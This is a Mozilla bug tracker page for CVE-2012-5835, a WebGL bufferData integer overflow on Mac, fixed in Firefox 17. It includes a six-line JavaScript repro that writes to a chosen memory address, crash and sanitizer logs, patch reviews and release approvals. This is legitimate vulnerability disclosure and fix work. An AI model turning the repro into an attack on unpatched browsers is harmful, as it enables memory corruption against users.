Bug 790879 (CVE-2012-5835)

integer overflow, invalid write w/webgl bufferdata

RESOLVED FIXED in Firefox 17



7 years ago
3 years ago


(Reporter: miaubiz, Assigned: bjacob)


({csectype-intoverflow, sec-critical, sec-vector})

Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox16 wontfix, firefox17 fixed, firefox18 fixed, firefox-esr1017+ fixed, firefox-esr17 fixed)


(Whiteboard: [adv-track-main17+][adv-track-esr17+][asan])


(5 attachments, 1 obsolete attachment)



7 years ago
Posted file repro
I load:

      var buf = gl.createBuffer()
      gl.bindBuffer(gl.ARRAY_BUFFER, buf)
      var magic = 0x12345678
      gl.bufferData(gl.ARRAY_BUFFER, new Uint8Array(magic+1), gl.STATIC_DRAW)
      gl.bufferData(gl.ARRAY_BUFFER, Math.pow(2, 32), gl.STATIC_DRAW)
      gl.bufferSubData(gl.ARRAY_BUFFER, magic, new Uint8Array(1))

and I get:

exception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=movb	%al,(%rdi):instruction_address=0x00007fff92c82a41:access_type=write:access_address=0x0000000012345678:

Exception Codes: KERN_INVALID_ADDRESS at 0x0000000012345678

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_c.dylib             	0x00007fff92c82a41 memmove$VARIANT$sse42 + 57
1   GLEngine                      	0x000000010cfa9982 glBufferSubData_Exec + 856

  rdi: 0x0000000012345678
  r11: 0x0000000012345678
  r12: 0x0000000012345678

==3966== ERROR: AddressSanitizer crashed on unknown address 0x000012345678 (pc 0x7fff92c82a41 sp 0x7fff5fbf5380 bp 0x7fff5fbf5380 T0)
AddressSanitizer can not provide additional info. ABORTING
    #0 0x7fff92c82a40 in memmove$VARIANT$sse42 (in libsystem_c.dylib) + 227
    #1 0x100009291 in wrap_memmove (in firefox) + 545
    #2 0x13add8981 in glDeleteBuffers_Exec (in GLEngine) + 1727
    #3 0x105d41d4a in mozilla::gl::GLContext::fBufferSubData(unsigned int, long, long, void const*) (in XUL) + 90
    #4 0x105d25b2f in mozilla::WebGLContext::BufferSubData(unsigned int, long long, mozilla::dom::TypedArray_base<unsigned char, &(JS_GetObjectAsArrayBufferView(JSContext*, JSObject*, unsigned int*, unsigned char**))>&) (in XUL) + 575

Comment 1

7 years ago
Posted file asan log osx

Comment 2

7 years ago
The type of the size parameter to bufferData is like size_t. So on 64bit it is valid to pass up to 2^64-1. Apparently the Mac GL lib doesn't know that. This patch works around it by rejecting bufferData calls with size exceeding UINT32_MAX before passing them to the GL.
Attachment #660823 - Flags: review?
Actually, this type is signed.
Attachment #660823 - Attachment is obsolete: true
Attachment #660823 - Flags: review?
Attachment #660893 - Flags: review?
Benoit, what security rating would you give this issue?
Attachment #660893 - Flags: review? → review?(jgilbert)
Attachment #660893 - Flags: review?(jgilbert) → review+
(In reply to Al Billings [:abillings] from comment #6)
> Benoit, what security rating would you give this issue?

Random memory can be access, but only for read, not for write or execute (for all we know).

So I would naturally call this sec-high (information leakage vulnerability) but looking at https://wiki.mozilla.org/Security_Severity_Ratings, I see that "Any crash where random memory is accessed" is sec-criticial, so I guess sec-critical then (but I would like to understand the rationale for this rule). Up to you.
Assignee: nobody → bjacob
Target Milestone: --- → mozilla18
Last Resolved: 7 years ago
Resolution: --- → FIXED
Keywords: sec-high

Comment 10

7 years ago
@benoit: why is it only a read?

doesn't it end up calling fBufferSubData() which will attempt to memmove stuff into bad places? as in logs in c#0
miaubiz, I can't remember at all what I was thinking then. Comment 0 does say "access_type=write" so it seems I was just wrong. That explains why it's sec-critical then.
Keywords: sec-vector
CC'ing Google.
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

Sorry for the delayed request.

[Approval Request Comment]
Bug caused by (feature/regressing bug #): driver bug
User impact if declined: sec-critical
Testing completed (on m-c, etc.): been on m-c since last week
Risk to taking this patch (and alternatives if risky): no risk
String or UUID changes made by this patch: none
Attachment #660893 - Flags: approval-mozilla-beta?
Attachment #660893 - Flags: approval-mozilla-aurora?
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

This missed our final beta, and doesn't seem critical for release. Approving for Aurora 17, however.
Attachment #660893 - Flags: approval-mozilla-beta?
Attachment #660893 - Flags: approval-mozilla-beta-
Attachment #660893 - Flags: approval-mozilla-aurora?
Attachment #660893 - Flags: approval-mozilla-aurora+
Is the ESR branch affected, given this is a driver bug?
Most certainly yes.
(In reply to Benoit Jacob [:bjacob] from comment #17)
> Most certainly yes.

Please prepare a patch for mozilla-esr10 as well then. Thanks!
Posted patch esr10 patchSplinter Review
Here is the typical ESR10 user:
I content that she doesn't care about WebGL and would be better off if we simply turned it off in ESR, which would also relieve us from a significant maintenance burden.

Anyway, here is the ESR10 patch for this bug. Note that we didn't have GLContext::WorkAroundDriverBugs() in ESR10.
Attachment #675624 - Flags: review?(jgilbert)
Attachment #675624 - Flags: review?(jgilbert) → review+
Comment on attachment 675624 [details] [diff] [review]
esr10 patch

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec:critical
Fix Landed on Version: 17+
Risk to taking this patch (and alternatives if risky): no risk. very simple, well tested already.
String or UUID changes made by this patch: none
Attachment #675624 - Flags: approval-mozilla-esr10?
Attachment #675624 - Flags: approval-mozilla-esr10? → approval-mozilla-esr10+
Whiteboard: [adv-track-main17+]
Comment on attachment 675624 [details] [diff] [review]
esr10 patch

Funny story - esr10 doesn't define GenerateWarning. Backed out for build failures.
Attachment #675624 - Attachment is obsolete: true
Flags: in-testsuite?
Attachment #675624 - Attachment is obsolete: false
Whiteboard: [adv-track-main17+] → [adv-track-main17+][adv-track-esr17+]
Alias: CVE-2012-5835
Whiteboard: [adv-track-main17+][adv-track-esr17+] → [adv-track-main17+][adv-track-esr17+][asan]
Group: core-security
Flags: sec-bounty+
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
You need to log in before you can comment on or make changes to this bug.